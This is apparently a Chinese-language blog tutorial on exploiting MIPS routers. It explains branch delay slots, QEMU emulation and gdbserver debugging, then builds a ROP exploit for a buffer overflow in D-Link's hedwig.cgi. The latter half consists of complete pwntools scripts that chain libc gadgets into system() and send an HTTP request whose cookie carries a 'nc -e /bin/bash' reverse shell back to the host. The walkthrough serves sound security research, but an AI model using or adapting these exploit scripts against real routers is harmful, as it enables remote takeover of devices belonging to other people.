初探路由器挖掘

有些东西搭建起来比较麻烦,iot虚拟机:https://github.com/adi0x90/attifyos

cgibin和httpd关系:https://bbs.kanxue.com/thread-276464.htm

对于一些分支跳转指令,流水线会停顿一个周期左右,为了利用起来这一个周期,提供流水线效率,在分支跳转指令后加入不管分支发生与否其总是被执行的指令1,加入指令的位置一般叫分支延迟槽
MIPS分支延迟槽中的指令先于分支指令提交,分支跳转指令流:分支跳转指令 -> 延时槽指令 -> 目标跳转地址的指令

比如下面jalr到printf之前会先执行指令li传参

.text:004099BC 09 F8 20 03                   jalr    $t9 ; printf
.text:004099C0 88 A9 84 24 li $a0, aHttp11200OkCon_3 分支延迟槽

分支延迟槽在 DSP处理器和历史较悠久的 RISC 上比较常见,如 MIPS, SPARC 等

现在流水线级数越来越深,普遍采用分支预测技术2,但为了软件上的兼容性 MIPS 和 SPARC 还是作了保留

MIPS CPU大部分采用指令和数据各自拥有一个独立的cache的方案icache和dcache,缓存满了才会flush,将数据写回到主存,MIPS架构默认没有打开堆栈不可执行保护(NX),常见的就是ret2shellcode,直接ret2shellcode会执行未写入shellcode的内存位置

为了写回shellcode并使icache失效,ret2shellcode之前一般调用堵塞函数sleep,处理器会进程调度切换上下文,缓存会自动flush

qemu系统级模拟

https://people.debian.org/~aurel32/qemu/ 下载好mips文件系统和内核镜像

sudo qemu-system-mipsel \
-M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_squeeze_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-net nic \
-net tap \
-nographic \

root/root登入

网络配置

宿主机网络配置:依赖库sudo apt-get install bridge-utils uml-utilities

sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT
sudo ifconfig tap0 192.168.100.254 netmask 255.255.255.0#设置tap0虚拟网卡的IP地址及子网掩码

image-20231027091950064

qemu模拟机网络配置

#!/bin/sh
ifconfig eth0 192.168.100.2 netmask 255.255.255.0
route add default gw 192.168.100.254

image-20231027091815775

scp传文件:scp 文件名 目标用户名@目标ip:目标机器路径

gdbserver调试

模拟机里

gdbserver ./file :port 

正常路由环境为了程序运行速度会取消 canary,地址随机化等保护机制 echo 0 > /proc/sys/kernel/randomize_va_space

宿主机

sudo gdb-multiarch ./file -ex "target remote 模拟机ip:模拟机server指定端口"

固件下载 https://rebyte.me/en/d-link/89510/file-592084/

最后返回可控寄存器很多

.text:00409A28 E4 04 BF 8F                   lw      $ra, 0x4C0+var_s24($sp)
.text:00409A2C 21 10 E0 02 move $v0, $s7
.text:00409A30 E0 04 BE 8F lw $fp, 0x4C0+var_s20($sp)
.text:00409A34 DC 04 B7 8F lw $s7, 0x4C0+var_s1C($sp)
.text:00409A38 D8 04 B6 8F lw $s6, 0x4C0+var_s18($sp)
.text:00409A3C D4 04 B5 8F lw $s5, 0x4C0+var_s14($sp)
.text:00409A40 D0 04 B4 8F lw $s4, 0x4C0+var_s10($sp)
.text:00409A44 CC 04 B3 8F lw $s3, 0x4C0+var_sC($sp)
.text:00409A48 C8 04 B2 8F lw $s2, 0x4C0+var_s8($sp)
.text:00409A4C C4 04 B1 8F lw $s1, 0x4C0+var_s4($sp)
.text:00409A50 C0 04 B0 8F lw $s0, 0x4C0($sp)
.text:00409A54 08 00 E0 03 jr $ra
.text:00409A58 E8 04 BD 27 addiu $sp, 0x4E8

加载的libc里去找些gadget

image-20231027115258429

mipsrop.stackfinder()寻找将堆栈地址放入寄存器的gadget

image-20231027121821119

sp+0x10给为system参数地址,s0处设置为system即可

system在0x053200会被00截断

需要找一下把s0减少或者加上一些数的gadget

mipsrop.find("addiu $s0")

image-20231027123224282

把s5设为0x159cc的gadget,s0设为system-1 ,反弹shell即可

from pwn import *
context.endian = "little"
context.arch = "mips"
libcbase = 0x77f34000
system_addr_1 = 0x53200-1
gadget1 = 0x158c8
gadget2 = 0x159cc
cmd = b'nc -e /bin/bash 192.168.100.254 9999'
padding = cyclic(0x3cd)
padding += p32(libcbase + system_addr_1) # s0
padding += b'A' * 4 # s1
padding += b'A' * 4 # s2
padding += b'A' * 4 # s3
padding += b'A' * 4 # s4
padding += p32(libcbase+gadget2) # s5
padding += b'A' * 4 # s6
padding += b'A' * 4 # s7
padding += b'A' * 4 # fp
padding += p32(libcbase + gadget1) # ra
padding += b'B' * 0x10
padding += cmd
f = open("context",'wb')
f.write(padding)
f.close()

模拟机里用环境变量模拟传递参数

#!/bin/bash
export CONTENT_LENGTH="100"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="uid=`cat context`"
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
echo "uid=1234"|./gdbserver.mipsle :1234 /htdocs/web/hedwig.cgi

宿主机监听端口获得shell

image-20231027125128566

exp

from pwn import *
import requests
context.endian = "little"
context.arch = "mips"
libcbase = 0x77f34000
system_addr_1 = 0x53200-1
gadget1 = 0x158c8
gadget2 = 0x159cc
cmd = b'nc -e /bin/bash 192.168.100.254 9999'
padding = cyclic(0x3cd)
padding += p32(libcbase + system_addr_1) # s0
padding += b'A' * 4 # s1
padding += b'A' * 4 # s2
padding += b'A' * 4 # s3
padding += b'A' * 4 # s4
padding += p32(libcbase+gadget2) # s5
padding += b'A' * 4 # s6
padding += b'A' * 4 # s7
padding += b'A' * 4 # fp
padding += p32(libcbase + gadget1) # ra
padding += b'B' * 0x10
padding += cmd
url='http://192.168.100.2:4321/hedwig.cgi'
header = {
'Cookie': 'uid='+padding,
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '100'
}
data = {'6rx3r': 'xxx'}
requests.post(url=url, headers=header, data=data)